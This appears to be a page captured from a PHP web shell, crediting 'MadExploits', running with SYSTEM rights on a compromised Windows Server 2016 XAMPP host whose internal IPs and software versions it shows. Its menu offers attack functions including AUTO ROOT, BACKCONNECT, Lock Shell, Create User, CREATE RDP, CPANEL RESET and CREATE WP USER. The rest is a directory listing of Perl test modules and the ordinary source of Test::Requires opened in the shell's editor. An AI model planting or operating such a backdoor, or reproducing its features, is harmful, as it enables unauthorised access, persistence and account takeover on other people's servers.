Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Test /
[ HOME SHELL ]
Name
Size
Permission
Action
Alien
[ DIR ]
drwxrwxrwx
Base
[ DIR ]
drwxrwxrwx
Deep
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
LeakTrace
[ DIR ]
drwxrwxrwx
NoWarnings
[ DIR ]
drwxrwxrwx
Number
[ DIR ]
drwxrwxrwx
Object
[ DIR ]
drwxrwxrwx
Without
[ DIR ]
drwxrwxrwx
Alien.pm
23.44
KB
-rw-rw-rw-
Base.pm
17.89
KB
-rw-rw-rw-
Base.pod
20.63
KB
-rw-rw-rw-
CleanNamespaces.pm
8.16
KB
-rw-rw-rw-
Deep.pm
48.95
KB
-rw-rw-rw-
Differences.pm
18.06
KB
-rw-rw-rw-
Exception.pm
15.1
KB
-rw-rw-rw-
FailWarnings.pm
5.32
KB
-rw-rw-rw-
Fatal.pm
11.04
KB
-rw-rw-rw-
File.pm
39.2
KB
-rw-rw-rw-
Fork.pm
4.01
KB
-rw-rw-rw-
LeakTrace.pm
7.09
KB
-rw-rw-rw-
MockTime.pm
6.49
KB
-rw-rw-rw-
Mojo.pm
33.89
KB
-rw-rw-rw-
Moose.pm
4.09
KB
-rw-rw-rw-
Needs.pm
8.05
KB
-rw-rw-rw-
NoWarnings.pm
7.44
KB
-rw-rw-rw-
Object.pm
4
KB
-rw-rw-rw-
Output.pm
21.9
KB
-rw-rw-rw-
Pod.pm
7.24
KB
-rw-rw-rw-
Requires.pm
3.6
KB
-rw-rw-rw-
RequiresInternet.pm
2.87
KB
-rw-rw-rw-
Script.pm
18.7
KB
-rw-rw-rw-
Specio.pm
40.38
KB
-rw-rw-rw-
SubCalls.pm
4.66
KB
-rw-rw-rw-
Warn.pm
15.52
KB
-rw-rw-rw-
Warnings.pm
14.29
KB
-rw-rw-rw-
YAML.pm
5.25
KB
-rw-rw-rw-
YAML.pod
710
B
-rw-rw-rw-
utf8.pm
10.44
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Requires.pm
package Test::Requires; use strict; use warnings; our $VERSION = '0.11'; use base 'Test::Builder::Module'; use 5.006; sub import { my $class = shift; my $caller = caller(0); # export methods { no strict 'refs'; *{"$caller\::test_requires"} = \&test_requires; } # test arguments if (@_ == 1 && ref $_[0] && ref $_[0] eq 'HASH') { while (my ($mod, $ver) = each %{$_[0]}) { test_requires($mod, $ver, $caller); } } else { for my $mod (@_) { test_requires($mod, undef, $caller); } } } sub test_requires { my ( $mod, $ver, $caller ) = @_; return if $mod eq __PACKAGE__; if (@_ != 3) { $caller = caller(0); } $ver ||= ''; eval qq{package $caller; use $mod $ver}; ## no critic. if (my $e = $@) { my $skip_all = sub { my $builder = __PACKAGE__->builder; if (not defined $builder->has_plan) { $builder->skip_all(@_); } elsif ($builder->has_plan eq 'no_plan') { $builder->skip(@_); if ( $builder->can('parent') && $builder->parent ) { die bless {} => 'Test::Builder::Exception'; } exit 0; } else { for (1..$builder->has_plan) { $builder->skip(@_); } if ( $builder->can('parent') && $builder->parent ) { die bless {} => 'Test::Builder::Exception'; } exit 0; } }; my $msg = "$e"; if ( $e =~ /^Can't locate/ ) { $msg = "Test requires module '$mod' but it's not found"; } if ($ENV{RELEASE_TESTING}) { __PACKAGE__->builder->BAIL_OUT($msg); } else { $skip_all->($msg); } } } 1; __END__ =head1 NAME Test::Requires - Checks to see if the module can be loaded =head1 SYNOPSIS # in your Makefile.PL use inc::Module::Install; test_requires 'Test::Requires'; # in your test use Test::More tests => 10; use Test::Requires { 'HTTP::MobileAttribute' => 0.01, # skip all if HTTP::MobileAttribute doesn't installed }; isa_ok HTTP::MobileAttribute->new, 'HTTP::MobileAttribute::NonMobile'; # or use Test::More tests => 10; use Test::Requires qw( HTTP::MobileAttribute ); isa_ok HTTP::MobileAttribute->new, 'HTTP::MobileAttribute::NonMobile'; # or use Test::More tests => 10; use Test::Requires; test_requires 'Some::Optional::Test::Required::Modules'; isa_ok HTTP::MobileAttribute->new, 'HTTP::MobileAttribute::NonMobile'; =head1 DESCRIPTION Test::Requires checks to see if the module can be loaded. If this fails rather than failing tests this B<skips all tests>. Test::Requires can also be used to require a minimum version of Perl: use Test::Requires "5.010"; # quoting is necessary!! # or use Test::Requires "v5.10"; =head1 AUTHOR Tokuhiro Matsuno E<lt>tokuhirom @*(#RJKLFHFSDLJF gmail.comE<gt> =head1 THANKS TO kazuho++ # some tricky stuff miyagawa++ # original code from t/TestPlagger.pm tomyhero++ # reported issue related older test::builder tobyink++ # documented that Test::Requires "5.010" works =head1 ENVIRONMENT If the C<< RELEASE_TESTING >> environment variable is true, then instead of skipping tests, Test::Requires bails out. =head1 SEE ALSO L<t/TestPlagger.pm> =head1 LICENSE This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut
Close